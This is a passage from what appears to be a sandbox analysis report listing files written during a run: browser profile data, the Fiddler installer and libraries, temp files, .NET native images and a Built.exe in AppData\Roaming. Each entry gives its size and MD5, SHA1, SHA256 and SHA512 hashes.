e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
4KB

MD5
04be237d118e693c7661e2c39778010f

SHA1
3d717ea87fd809f96946472f2541bf9b8e0ff5b4

SHA256
b099cbd5a4b421552a36907cc0c4bce4d8f34866a8d2716a834973e3e4c42805

SHA512
de1d5afcb2fd3f872682ab21638c723d4e046ab1dd4b95e357dd62ac263713612ab312941d6175ebe6699b139917ba93cdf4f96b1098a095a45b6ec1ec1e4e7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
69ae62620e984bc984c95e33dbf3f190

SHA1
fd38a3faddc02180dc929ea6e8edfeba6e6c58e5

SHA256
9d597e695db003860b419cc952d1ba3c67a36cf07f0548b573ad9e682acd5839

SHA512
c400c2d4f51dbe37dc98a650c5470c39062c996067c939576d7850c822882b5f92ec96ce28258f645a4ae447b7638dd3245541edba9e6e2809811e97ea067797

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
cc420cc45f686797b102b94f6bfda2ee

SHA1
2b0b5d4848cc346c341cbd51d5fc6ce8a08910e7

SHA256
23f845e57c6718a65f93b97ac9c425d7abaad84f75e77e662c4df298305b9a19

SHA512
2410ec9ef56e8ad547219c4ffde2d02ab4fe8ea668c51f6519e224805770375427a4db95eab5e5f062ebdf36323c5bf03d1633508776fa553da2e8c408846092

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
0f4e257350e5b98bbb2c1940a9a7b76e

SHA1
755a95e2e45e0af9db6af242e6027e8bca68c393

SHA256
a1c58891de165e61a71474e5ce62a4d9052fe66ec30b151ae1f1bb9ab926a38b

SHA512
b2e9f3d3c41e2988d0b0c43de8acef8a46e26c6a451f1de8281eec5936e1062de663bceb816406f91c5a30cd7dffb8d2aeb3efcd8c4e7e0c617d875b19b4c81a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
d5e52ebc76bf05fe80eb7b80644b5089

SHA1
2641702dd32fd07c605667c6ff3c6d74da0c2fb5

SHA256
742b28ef18be46586d14edf66c28ee6dbc7cb9416470bf74cb53ad580f6c3a24

SHA512
242bc012ad9a63483926df65008c0409aa3b92c9e8a554cf2407da16649e1b98f774fbe5bcdbc7a3199bebcd969bddcfa9e51619fb9021d223f646d1b9128ac6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\activity-stream.discovery_stream.json.tmp

Filesize
19KB

MD5
9c51f4d82081d467bb86ce7d87806fc0

SHA1
912b6aea282743b86e4730f2b0cc58ba44e76fdf

SHA256
55aa84b540b395fa350960c40bcb362dbb3f0660edda15ef5523e425aa0ec99a

SHA512
7f1e0611041ed3ff1b8c97120677e3a50feeaf892d7c0d0dc05c1204a0ff5fbb75557259be2a2ccc7127748a383cb27f706a655dd5a62f3326a411d73014fe1a

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Analytics.dll

Filesize
32KB

MD5
1c2bd080b0e972a3ee1579895ea17b42

SHA1
a09454bc976b4af549a6347618f846d4c93b769b

SHA256
166e1a6cf86b254525a03d1510fe76da574f977c012064df39dd6f4af72a4b29

SHA512
946e56d543a6d00674d8fa17ecd9589cba3211cfa52c978e0c9dab0fa45cdfc7787245d14308f5692bd99d621c0caca3c546259fcfa725fff9171b144514b6e0

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\DotNetZip.dll

Filesize
461KB

MD5
a999d7f3807564cc816c16f862a60bbe

SHA1
1ee724daaf70c6b0083bf589674b6f6d8427544f

SHA256
8e9c0362e9bfb3c49af59e1b4d376d3e85b13aed0fbc3f5c0e1ebc99c07345f3

SHA512
6f1f73314d86ae324cc7f55d8e6352e90d4a47f0200671f7069daa98592daaceea34cf89b47defbecdda7d3b3e4682de70e80a5275567b82aa81b002958e4414

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\EnableLoopback.exe

Filesize
82KB

MD5
81564947d42846910eec2d08310e0d25

SHA1
b7a167dcd3afb29c8a0e18c943d634e3fc58a44c

SHA256
543f16b73f7d40177585332f433ce76dddc1526e12bcd62cb73edd11eb002341

SHA512
8f06409517697b022787bc9e2ed7e73100018422177aa3f63ecb406c3bdb6b021624f909a16fca0430002bfa7d35a461b38750c79c0273a154f63316b4e13037

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe

Filesize
3.5MB

MD5
87bc17f56e744e74408e6ae8bb28b724

SHA1
3aa572388083ff00a95405d34d1189c99c7ff5be

SHA256
ffb24fc36ade87988f9908e848d0333ce7ffb2b4e4d0ffb43f6556246069d057

SHA512
cbeee155c97b87a22b92b808f86fee25c18db51ab43a36b657d532d2d47d3a7db2f4507a699b72af904bf6d5ed851d1ae1fcfb4833a57096e6c7787211c0f35d

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Fiddler.exe.config

Filesize
261B

MD5
c2edc7b631abce6db98b978995561e57

SHA1
5b1e7a3548763cb6c30145065cfa4b85ed68eb31

SHA256
e59afc2818ad61c1338197a112c936a811c5341614f4ad9ad33d35c8356c0b14

SHA512
5bef4b5487ecb4226544ef0f68d17309cf64bfe52d5c64732480a10f94259b69d2646e4c1b22aa5c80143a4057ee17b06239ec131d5fe0af6c4ab30e351faba2

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\GA.Analytics.Monitor.dll

Filesize
52KB

MD5
6f9e5c4b5662c7f8d1159edcba6e7429

SHA1
c7630476a50a953dab490931b99d2a5eca96f9f6

SHA256
e3261a13953f4bedec65957b58074c71d2e1b9926529d48c77cfb1e70ec68790

SHA512
78fd28a0b19a3dae1d0ae151ce09a42f7542de816222105d4dafe1c0932586b799b835e611ce39a9c9424e60786fbd2949cabac3f006d611078e85b345e148c8

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Inspectors\Standard.dll

Filesize
246KB

MD5
2f2dcf9a8bea903a95abb95808066201

SHA1
98b473a015e874638d35731710b5790fe8ec9df9

SHA256
e7f653b706f4d083d089670b8862b579f888450d3184085bc970daa3ff040012

SHA512
228f56acea5ac941dcb192775f8e8e8230c0b0e24487f135bfb5025b1a1bf64ee8cc733c44f5dcdc8eb2f63a9040e9a8ec251ec3e105f81e3007d31a15608344

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Inspectors\SyntaxView.dll

Filesize
68KB

MD5
49c71e4f9141cc77798718e41ec8a0d3

SHA1
84bf7e9f3a462dbbe7ee3e627a83422cf0df4d08

SHA256
9c5178b2aab92a79be9e4b31e2214d6650961b53bbdc48d952d20725e473b2fe

SHA512
ed7d35e6929670cd181a398b4c09fdf444b7eacff147a9be3bc783944e65541ebf883629fc23d6c6b642eb6719e8e9fa8a4d1c4c9ef65ba78d1ea5539f9f4843

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Newtonsoft.Json.dll

Filesize
695KB

MD5
195ffb7167db3219b217c4fd439eedd6

SHA1
1e76e6099570ede620b76ed47cf8d03a936d49f8

SHA256
e1e27af7b07eeedf5ce71a9255f0422816a6fc5849a483c6714e1b472044fa9d

SHA512
56eb7f070929b239642dab729537dde2c2287bdb852ad9e80b5358c74b14bc2b2dded910d0e3b6304ea27eb587e5f19db0a92e1cbae6a70fb20b4ef05057e4ac

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\ScriptEditor\QWhale.Common.dll

Filesize
192KB

MD5
ac80e3ca5ec3ed77ef7f1a5648fd605a

SHA1
593077c0d921df0819d48b627d4a140967a6b9e0

SHA256
93b0f5d3a2a8a82da1368309c91286ee545b9ed9dc57ad1b31c229e2c11c00b5

SHA512
3ecc0fe3107370cb5ef5003b5317e4ea0d78bd122d662525ec4912dc30b8a1849c4fa2bbb76e6552b571f156d616456724aee6cd9495ae60a7cb4aaa6cf22159

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\ScriptEditor\QWhale.Editor.dll

Filesize
816KB

MD5
eaa268802c633f27fcfc90fd0f986e10

SHA1
21f3a19d6958bcfe9209df40c4fd8e7c4ce7a76f

SHA256
fe26c7e4723bf81124cdcfd5211b70f5e348250ae74b6c0abc326f1084ec3d54

SHA512
c0d6559fc482350c4ed5c5a9a0c0c58eec0a1371f5a254c20ae85521f5cec4c917596bc2ec538c665c3aa8e7ee7b2d3d322b3601d69b605914280ff38315bb47

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\ScriptEditor\QWhale.Syntax.dll

Filesize
228KB

MD5
3be64186e6e8ad19dc3559ee3c307070

SHA1
2f9e70e04189f6c736a3b9d0642f46208c60380a

SHA256
79a2c829de00e56d75eeb81cd97b04eae96bc41d6a2dbdc0ca4e7e0b454b1b7c

SHA512
7d0e657b3a1c23d13d1a7e7d1b95b4d9280cb08a0aca641feb9a89e6b8f0c8760499d63e240fe9c62022790a4822bf4fe2c9d9b19b12bd7f0451454be471ff78

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Scripts\FiddlerOrchestra.Addon.dll

Filesize
47KB

MD5
465761effbd26e70fb83595cb5f8a20a

SHA1
9b98750ebbc7ce144a2f8150f3b1d8201a53a2af

SHA256
38a7fa0c13d5700eec8178db2116a51c7e23d97871dbd159fb16104f91c0bfee

SHA512
063c93d8cfc0dd17d56abccb25c00c430066a117e993205ceb0161260214a104627672eaac0ea2ec6c8be488cd2056b92cf002c94c873efcf464efe35efbda7c

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\SetupHelper

Filesize
18KB

MD5
b1827fca38a5d49fb706a4a7eee4a778

SHA1
95e342f3b6ee3ebc34f98bbb14ca042bca3d779f

SHA256
77523d1504ab2c0a4cde6fcc2c8223ca1172841e2fd9d59d18e5fc132e808ae2

SHA512
41be41372fe3c12dd97f504ebabb70ce899473c0c502ff7bfeaddc748b223c4a78625b6481dbab9cb54c10615e62b8b2dbe9a9c08eb2f69c54ebf5933efbeb1b

Download Submit
C:\Users\Admin\AppData\Local\Programs\Fiddler\Telerik.NetworkConnections.dll

Filesize
34KB

MD5
798d6938ceab9271cdc532c0943e19dc

SHA1
5f86b4cd45d2f1ffae1153683ce50bc1fb0cd2e3

SHA256
fb90b6e76fdc617ec4ebf3544da668b1f6b06c1debdba369641c3950cab73dd2

SHA512
644fde362f032e6e479750696f62e535f3e712540840c4ca27e10bdfb79b2e5277c82a6d8f55f678e223e45f883776e7f39264c234bc6062fc1865af088c0c31

Download Submit
C:\Users\Admin\AppData\Local\Progress_Software_Corpora\Fiddler.exe_Url_gn2suaigfhhkewccgutguryxxqm34vvg\5.0.20245.10105\user.config

Filesize
966B

MD5
5677c3fb073c9f40c9c10734aa747daf

SHA1
ea034543c2e920225700fff088ca66c3e8b7c81f

SHA256
5b7524c679a12a48ac6d0dfd07b1bfbf5641dbd318bf4fc946cf11447a29cefb

SHA512
42fe16d2981d1de6f6830476a84ede523713aacb2710b01cbfbeb39561d4bc0c7131e487c19a16762d597abc47f767556864b4afd9e3ed0f829511a5b34914e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\AZFUQFenW0.tmp

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\VSPMe907ya.tmp

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ki53kpwm.egq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nscBF5A.tmp\System.dll

Filesize
12KB

MD5
192639861e3dc2dc5c08bb8f8c7260d5

SHA1
58d30e460609e22fa0098bc27d928b689ef9af78

SHA256
23d618a0293c78ce00f7c6e6dd8b8923621da7dd1f63a070163ef4c0ec3033d6

SHA512
6e573d8b2ef6ed719e271fd0b2fd9cd451f61fc9a9459330108d6d7a65a0f64016303318cad787aa1d5334ba670d8f1c7c13074e1be550b4a316963ecc465cdc

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsr97CC.tmp\FiddlerSetup.exe

Filesize
4.4MB

MD5
c2a0eb6f104eacec3f39581451ee208f

SHA1
9ae7d02aeb640fbd090dfc01885b98dd5dd0b6cc

SHA256
1f926cc353301e547e76c6d2eff23fcbe85495ba0292174cc6344fac26457af8

SHA512
8b062e4f0af1dce3a12b5776646fe8c235f30de6772f579da1a6ab2bb559ed69b3bd32af95eee248c48008ddcbd40a7e49eae722a44bc9b49dd13fe38113a3ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\zSvj4RAMVg.tmp

Filesize
124KB

MD5
cbbc7c702d58265a08a72d3427e02185

SHA1
df24be4210751ed9dc89e91a1b98575ee525501f

SHA256
b9a759efde077e41a499fd735b12ba9fc619d700e9221fefdc8618c6b452d628

SHA512
9fdcfadae2f1d9282a5414a384b14293d433ac761ec0f9eb231760e5282e686873ac13c1fb3e82da76617cf834d796a3b7bbf7d5a3f287c7b8fe7102b04a2a19

Download Submit
C:\Users\Admin\AppData\Roaming\Built.exe

Filesize
8.3MB

MD5
9ba3741598bd933a06c5efee63654e38

SHA1
8d564b1367612a85da81b77c9261a69ee8181102

SHA256
61aeeb9c232c8045639c509f1e90aaedb12c92ece914d78afc26d6249e1624af

SHA512
4f54f6cf20efac25388d9fcab19dd7d91906c47905588f3ca13581af5600c574d971f818e16bfc7393a4a3ddc7b81bdee528477006d2e5513251ed78e096d35d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\datareporting\glean\db\data.safe.tmp

Filesize
22KB

MD5
a44f8a984b19e01df2dfa88347861795

SHA1
b733b864bd85b4529d5d5a0deb3acb3d2bde77aa

SHA256
7260f0b0e7b69beff0e00144ef490e0402cf5d45a9ebb4ed5c5de10dede00638

SHA512
f850624407e2a9b7d338f8dabe790ce789fc01cd9ae2fb8866cb7734f7e8a33e804bd04e56c1bdfd5201273987d7fedbb7e23f0c225dae1c4d8edea5e484acb1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\datareporting\glean\db\data.safe.tmp

Filesize
22KB

MD5
9f913734a1bb212abff964b9ba14445b

SHA1
b31a5585e2647516e47371b9832a517d46b4756b

SHA256
2a516b7149072ba20ba2e767db6a30fc5d6a3ab43ce9973c879e6b750b2e8ed8

SHA512
eee2a41ba13a3a453e82ecbc31f7cf5b5e507f44e9491fdbc92f774d356d0fc53c8804f54648afece69ffbb925923c6378e508da399152effa4829815b6b2e76

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\datareporting\glean\db\data.safe.tmp

Filesize
21KB

MD5
2024cf1bb94409220762333fed5a9b77

SHA1
580d7a1b2dcd16c6badd2bc1053188827778fc0c

SHA256
5708d7e5c76b2cba3c2e2abad09eb230d39bb424504418796a12b005931be0a8

SHA512
a16a14a61064b8401239b2f4862e323571f385e26de0107ba955c9ac4ef512ebbb63ca1b0f45c1d38797dd4b27591df9193e63563096a6c39753463d755a3c38

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\datareporting\glean\pending_pings\82fb655f-cc68-4598-8b46-81708124ea80

Filesize
659B

MD5
189e2a93c27d3b5c5604cb7dda6fdd1c

SHA1
1b4ebe9032ac28e5c609def6fb3c035b090513e8

SHA256
c23a3120dedff1f050623a10cba506433694ba7796466746340276bd8fc4c3e5

SHA512
7ef6351f5bbbf41a1e91771533af61233f3961d0aaad23774a32836461a4a2c3170f2efe01cb57984bfe23d251d040542af498c669d5b33925b90254cd7e33fb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\datareporting\glean\pending_pings\cfeaa123-751f-4f1f-8f7c-799bc6b5a6e0

Filesize
982B

MD5
b09eff45bac491d24bd7ea871764ce00

SHA1
f6f41c7414644d66418ca26610e98ef41f9f82fd

SHA256
fc5f75c2c8b71f4593df1e370cbaaf57babef9dbad2313b50345f915da570a7b

SHA512
ce87d920f04b14e0e0f3eec99300cb9f505f6d15fc4c1b69ebc1779b39ff9985f09694775c508e3da9145c2bda182f4b2d87e00d0a550a6d53337102df61f3a7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\prefs.js

Filesize
10KB

MD5
c5277435588d3e65c964065f31f03542

SHA1
0fe46051a853aca7037ccd527ef095ab3783158d

SHA256
89a1f5e5a86c0eedde8e94ead42e8d3df6381a78d2583d21fb804475c0f4ae24

SHA512
3e0cc93b6392140e66a79278afc88e0a4469f10480fe447ff6111176bf252da0d0e07789bf2ca6c9f68466ec57a582d0e1a46caaf598211bb9f451d25e6865a7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\prefs.js

Filesize
10KB

MD5
0662af1b6d56b504e5cf3039f7618cf2

SHA1
84360db03ab8c074aae9a30aa666f80c4b682835

SHA256
b806f69430c992dbffa0b326bd2128dd36a21d7e490f556a34e82800c061f83b

SHA512
bd72f3c2a2ea0e0ed2d3a9549202231f37cd914c9793f9424bd902fac9cf40955c6d5fb5af12aaca260da642c132da65ad667bc21338a123fe0ac6ea98e7eca9

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\uhqcqu3c.default-release\sessionCheckpoints.json.tmp

Filesize
259B

MD5
e6c20f53d6714067f2b49d0e9ba8030e

SHA1
f516dc1084cdd8302b3e7f7167b905e603b6f04f

SHA256
50a670fb78ff2712aae2c16d9499e01c15fddf24e229330d02a69b0527a38092

SHA512
462415b8295c1cdcac0a7cb16bb8a027ef36ae2ce0b061071074ac3209332a7eae71de843af4b96bbbd6158ca8fd5c18147bf9a79b8a7768a9a35edce8b784bf

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\EnableLoopback\a8e9750dcec3b7be6005a908fe2c2d8f\EnableLoopback.ni.exe

Filesize
160KB

MD5
0965e5069f4a44a943dd21af16ebea50

SHA1
4a6866a29d58672a05cdbf764a45c2b682e0cd5f

SHA256
2bf8d3166b4b3725564dfdf44072a6fe10c3a08574d7f5ac17aa80d7d3edc29b

SHA512
394c6c71bea21aebbc9f625a360e33fbb7512e919988db106c7e4120afd6c8d0b945d3238ae2a7d5f0af2c71122d57bfd8d56133f70ad00e78b65ea9ee7e84db

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.JScript\180d439c36f3cf6ec5649e1360f67487\Microsoft.JScript.ni.dll

Filesize
2.7MB

MD5
a2ef1f6d5df4e7b6447b54190a3b6ccc

SHA1
cbeb2b07942b3d9b95d3a7263629bcbec6b25ce1

SHA256
2b14dbd9d9c8050100f813b1e51942520d49ab51ef8ffde16414ac8b35765dd4

SHA512
f089315b0435d8f0cfd8523698a36205cbc493cb2ea1c561d811e9141423df20640107ad3507abba44575b970dc010d380fee6e6f3880fc8f91f63f66e000f77

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.JScript\180d439c36f3cf6ec5649e1360f67487\Microsoft.JScript.ni.dll.aux

Filesize
580B

MD5
b094143c78c988ef07a1bf541fccf4e6

SHA1
978ba20e486e74fba9cf306a7450240a96cc314c

SHA256
e6a53272d081895d24999b96ab02509ef5ac6a30a1ef901dad3f9e62252d8f80

SHA512
88eb0924df8c56a1e711b87f1a548b73aa18c90a197a3733c601e90793a4e74a0c771bd764e45111832196b2f81ebd90393c21053b3a93c7d85deee5eb536f5e

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data.SqlXml\6c172340af3f46e7e45d3cea5ee80a56\System.Data.SqlXml.ni.dll

Filesize
3.0MB

MD5
942af167f631f760c83a8ada0592cb82

SHA1
73c08eec36472b200554465ee5d6e3f7792704ed

SHA256
c662e6d62258cfc15fb0fbb98fc3b428955ba2d7bbceced1e4f87a66d16b173b

SHA512
55944b185f4799fa81cd03d4131d6f24506d3b8329c7a0800aae486d9e75d2dcbbef2e564e4d86cfe7bc880a2bf6bac083ccb995429061666333dc56fef68418

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data.SqlXml\6c172340af3f46e7e45d3cea5ee80a56\System.Data.SqlXml.ni.dll.aux

Filesize
708B

MD5
3c3231d300935c65976ed0ca2d93f346

SHA1
70611f15414423d2cb6db3d8bbb384e98df4996f

SHA256
96ae9bed2a9512ea7858cc3b28dc28d172cd1c3c15f60fa04ee20b8063a1b1a3

SHA512
28f2c7dd019085cd18995232f2a87ea45b834f08d1d4923b799917eceea6d3dfc8b1c1caf7c0a2fb215df79defd095e1d70eda12c2c75475a57e84225da9d666

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Deployment\88b596885c6a2aecfe43892d03c5ba6b\System.Deployment.ni.dll

Filesize
3.0MB

MD5
2ad389cde81c8ddc7056e7eba382c92d

SHA1
99eebd8f5e3471efd5e13555426c279eb1051a17

SHA256
de3a8589468a14dc7a61d19be614081d4b5000ae1604d81894f3399611e4e328

SHA512
692e35cf3f0c2351eca65f139975c8c621e60b9a7a88ab12f5d60517e6f3ead20a2b04b47c5f360090d05527e9435ba620776712474829110e67fae25619e7bd

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Deployment\88b596885c6a2aecfe43892d03c5ba6b\System.Deployment.ni.dll.aux

Filesize
1KB

MD5
218a0ba6f4d67451c5de690e2d79a50b

SHA1
2d88b63c563de1335f76678a7736d16ad0107f77

SHA256
5b3d423230067b3cd4270224ff23c0f65c4f0309525f3f0e8a9ecd4b05f633f5

SHA512
98043423bbfa6d92ce2b1077639a53ebbbe4af7fb24553e22f34ae68cc5b49d79df7d3ae6a6035567978787bbf467f7ebedc55ff3c8add1c3a20f19cf2f5acf3

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Ente96d83b35#\1d73b6e28a6154a6194c12bcb15f7e62\System.EnterpriseServices.ni.dll

Filesize
993KB

MD5
f3359b0522f101ef413c20bd1063079c

SHA1
9ddac2d75148d00f4f1788ff955726f99661fd26

SHA256
8ba666e515d60118ee4d78e776292e22348cc7b8a8febf15930a500117ce34a7

SHA512
0588d7754aea9dd85bb2621adaad2cdd8dceeb6c2b0bcd2abb4b22d9e70e4158f494f78d1f7cb4270763023d8c7ddb8dd3fcb61483562d6c99200a5f45b7554e

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\0c073f42cf7c0b89bd4ceb4244060ceb\System.Numerics.ni.dll

Filesize
314KB

MD5
73699d2573263453632fe45cff1dc094

SHA1
b3df4e2af5e7520eca101c52e7145a85d29ee5df

SHA256
cc1326839110e27d2cbf5cf72d74e36ebe6346f65993353cf7c8ea5afd4be381

SHA512
489630de5b13fc1cc0ac6c93baa76b9a31da0fa48b9f53fe40d55606d3b5b344fb5bd10e549194a4187f90bb605c39b9d46ba34d93e9436862984b6688f5a71a

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\0c073f42cf7c0b89bd4ceb4244060ceb\System.Numerics.ni.dll.aux

Filesize
300B

MD5
905fbaf34d730796e231f38c60feffeb

SHA1
a8f995d3b27f6ea0feb485870832560025b50e4e

SHA256
b04b3113d61b1756e9b8087df88533276adaab7ece3d4e18cba1e956f662f21e

SHA512
4716d2ea8f71362bb5264a69abd252276fda352712ef89a7433c66366907a47b96ce3c50925a9036f9f378e5e67de2f94a2a74a4c99ca97930ef6b274c60f6f2

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Runt19c51595#\b8452ea2b87e2c798d586738cbd5ad6d\System.Runtime.Caching.ni.dll

Filesize
298KB

MD5
903e346ae9c438f526d0bb063cab1845

SHA1
fff27f49270d605ea4c16fd71f19ed8a5bd68177

SHA256
087562a9136a603fab70c98cff6d1f4827c6bd2041f3a5906edcd9771fb7459d

SHA512
0a7be3de049ce980b1c8f2ecfe475847892dc4196ca073de4f2342d277f823a14f0f312a42fbb01eb6f856c5234416a1def3791a84bb2f598d4e0740cd665b66

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Runt9064068c#\ab300698ff0e6328a779058c8a6abc9a\System.Runtime.Serialization.Formatters.Soap.ni.dll

Filesize
345KB

MD5
fa423347a2e17ce6ad208963bcccea75

SHA1
bfbe02326cbc38d16fcb7c18ae93cd5b19ef1bf4

SHA256
36182d6b01a0529c83f20732a1a62430d3f446bed2a8094b4a5b57423228973d

SHA512
3d99f29b8c16fe568d1f2771faad856446da626f7dc368944b4d315d1a6f603c900c70f44346febecc3f709871c3efa37afaf227ac10de81eb30ea0268f54cd0

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Runt9064068c#\ab300698ff0e6328a779058c8a6abc9a\System.Runtime.Serialization.Formatters.Soap.ni.dll.aux

Filesize
644B

MD5
659b7690365e7746edfe6e96c3f11d6d

SHA1
fdcd84bb30c5c8adeb6c9341dcba873ad3994c07

SHA256
95129a62658451e9a013e7f482bebbd2fd48c2925dca596ade2b5b9bcaa23309

SHA512
fc52c330aa042ab816e739f117e1fc0208ea8855ec6a9e19b8e3ab42b18af61794429ae85d1b8b9d902c06ae64897215e721c66674b64b31f7ca6c91034af985

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Security\42c7a19a453afb14fda2fe8479e4d8b2\System.Security.ni.dll

Filesize
986KB

MD5
898474cba76cf084b5d914c0f2f8f07c

SHA1
8a93edb2b46038c0e4b916f8d48c96abe0cfc241

SHA256
f2fd3ae74d836a4f971b4d8eccb109e27cd9e9f8d62ae8a4dd248828d4c936e0

SHA512
